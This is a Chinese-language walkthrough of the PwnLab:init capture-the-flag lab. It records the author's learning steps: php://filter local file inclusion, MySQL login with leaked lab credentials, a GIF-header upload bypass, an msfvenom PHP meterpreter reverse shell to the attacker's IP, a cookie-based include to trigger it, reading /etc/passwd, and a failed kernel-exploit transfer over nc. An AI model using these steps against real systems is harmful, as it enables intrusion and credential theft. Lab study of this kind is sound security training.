Pwnlab:LFI

靶机下载PwnLab:init

192.168.1.112

80/tcp open http Apache httpd 2.4.10 ((Debian))

111/tcp  open  rpcbind 2-4 (RPC #100000)

3306/tcp open  mysql  MySQL 5.5.47-0+deb8u1

OS details: Linux 3.2 - 4.8

web上有个登陆页面,有上传功能,不过要登陆后才能使用。

用paros扫描web网页,发现Directory
browsing目录遍历,路径是http://192.168.1.112/images/


查看源代码192.168.1.112/index.php,有一行:

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

尝试../../../../../../etc/passwd,看是否能泄露密码文件?

http://192.168.1.112/?page=../../../../../../../../etc/passwd%00.asp,尝试截断,无效。

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
http://xxx.com?parameter=1.html说明可能有文件包含漏洞
:::
:::

然而并没有任何反应。看来LFI过滤了,编码绕过,无效

url编码 :  %2e%2e%2f   解码:../

utf-8编码:..%c0%af  解码:../

看write-up

http://192.168.1.112/?page=php://filter/convert.base64-encode/resource=config

php封装协议:php://

有趣的文件包含方式:所以说,通过php://filter,这个东西是被设计,用来过滤数据流的。

resource=<xx>这个参数是必须指定的,是待过滤的文件

read=<xx> 可选参数,用来设置过滤器,等等参数。

于是我们通过使用该php的特性,指定了一个文件(文件包含),泄露了信息。就好比,我们到古董店,假装大买家,然后说”你们把所有值钱的古董都拿出来看看。”
结果看完古董调戏一通,你就走了。(并没有使用过滤功能,而只是查看xx文件而已)

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
hackbar-encoding功能base64解码
:::
:::

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

解码config文件以后,得到用户名和密码。。但是,如何知道config文件里面有用户名和密码,这是个谜。。

mysql -uroot -pH4u%QJ_H99 -h 192.168.1.112

使用mysql:登陆mysql服务器,获得Users里的用户名和密码

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

看看mysql能不能执行命令。。不能

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

登陆web上传页面。尝试上传图片,反弹shell

http://192.168.1.112/?page=php://filter/convert.base64-encode/resource=upload

故技重施,我们得到upload.php的源代码。

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

源代码里清清楚楚地写着,如果文件后缀不是图片格式,就会出错。

msfvenom -p php/meterpreter/reverse_tcp LHOST="192.168.1.107攻击机ip"
LPORT=7766 -o xxd.gif

尝试真的图片,可以上传,但是webshell试来试去就不能上传。。

吐血,vi xxd.gif

然后在开头加一行 GIF98,就可以成功上传了,,

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

http://192.168.1.112/upload/b5e9b4f86ce43ca65bd79c894c4a924c.gif       
图片地址

先用metasploit-multi
handler,监听。然后直接访问上面的地址,结果网页显示,不能显示图片,因为有错误,,

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

http://192.168.1.112/?page=php://filter/convert.base64-encode/resource=upload/b5e9b4f86ce43ca65bd79c894c4a924c.gif 

那么这样呢,虽然网页没有显示任何错误,但是监听本地端口并没有任何连接进来。。

因为在一开始的时候,我们查看过index.php的源代码,然后我们分析下index.php

http://192.168.1.112/?page=php://filter/convert.base64-encode/resource=index,解码后再分析。。

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

没想到里面暗藏乾坤啊,include()函数,又包含了一个lang/

先用burp,拦截到上传页面,然后将Cookie:
PHPSESSID=58eb3vo1suaoh1iv8nkh21gho7,改成如图所示

::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\

::: {.image-caption}
:::
:::

然后点,go执行请求,于是用文件包含成功运行webshell。

运行的命令:

shell

id

python -c 'import pty;pty.spawn("/bin/bash")'

cat /etc/passwd

获得信息:四个普通用户,以及root用户(通过分析passwd文件第三项大于500可知)

john:x:1000:1000:,,,:/home/john:/bin/bash

kent:x:1001:1001:,,,:/home/kent:/bin/bash

mike:x:1002:1002:,,,:/home/mike:/bin/bash

kane:x:1003:1003:,,,:/home/kane:/bin/bash

其中有三个我们知道用户名和密码,于是尝试登陆 kent/JWzXuBJJNy
,ok得到普通用户权限。


uname -a

Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4
(2016-02-29) i686 GNU/Linux

尝试内核漏洞提权:nc -lvp 666 < /root/Desktop/40847.cpp

nc 192.168.1.107 666 > xx.cpp

kent@pwnlab:~$ file xx.cpp

file xx.cpp

xx.cpp: C++ source, ASCII text, with CRLF line terminators

kent@pwnlab:~$ gcc xx.cpp

gcc xx.cpp

gcc: error trying to exec 'cc1plus': execvp: No such file or
directory

发生了一个错误,找的网上答案说,gcc是c编译器,g++是c++编译器,所以用g++编译,然后靶机上并没有g++编译器。。失败

writeup贴上:后面提权方式看不懂了,好像用到了pwn——二进制分析的知识。。

向各位提供writeup的大佬低头。。

总结:

本次学习了上传+文件包含拿webshell的方法。

linux base64解码的命令

echo “(base encoded text past here without braket)” | base64 -d
:::
:::
:::